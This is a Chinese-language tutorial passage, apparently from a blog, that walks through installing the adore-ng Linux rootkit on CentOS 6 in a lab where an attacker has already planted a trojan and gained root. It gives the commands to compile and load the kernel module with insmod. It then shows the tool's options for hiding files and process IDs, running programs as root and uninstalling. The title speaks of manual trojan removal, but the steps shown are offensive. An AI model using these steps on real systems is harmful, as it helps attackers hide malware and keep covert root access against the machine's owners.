Linux下手动查杀木马过程

使用rootkit把木马程序的父进程和木马文件隐藏 （此章节实验需在CentOS 6下进行）

Rootkit概述

Rootkit概述：Rootkit是一种特殊的恶意软件，它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息，比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。我们接下来讲介绍 adore-ng （rootkit其中一种）的使用方法。 注：adore[əˈdɔ:®] 崇拜

adore-ng可以在linux系统下实现：提权，隐藏进程号，隐藏文件等功能

官网：https://github.com/trimpsyw/adore-ng

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PSv77iXX-1581564046321)(file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml15588\wps1.jpg)]

实验1-通过rootkit隐蔽行踪

实战背景： 当黑客已经上传了木马-》获得普通权限-》提权成root -》现在开始使用rootkit隐蔽行踪。

1、安装adore-ng

# 上传adore-ng-master.zip到linux系统上
root@localhost yum.repos.d]# rpm  -ivh /mnt/Packages/kernel-devel-2.6.32-431.el6.x86_64.rpm
#安装依赖包
[root@ localhost ~]# unzip adore-ng-master.zip
[root@ localhost ~]# cd adore-ng-master
[root@localhost adore-ng-master]# make -j 4       #编译，将源码编译成二进制文件，不需要执行make install 文件
[root@localhost adore-ng-master]# insmod adore-ng.ko  #加载模块。

2、测试，查看帮助：

[root@ localhost adore-ng-master]# ./ava
Usage: ./ava {
   
   h,u,r,R,i,v,U} [file or PID]

       I print info (secret UID etc)
       h hide file                           # 隐藏文件
       u unhide file
       r execute as root                     # 可以提权，以root身份运行程序
       R remove PID forever
       U uninstall adore
       i make PID invisible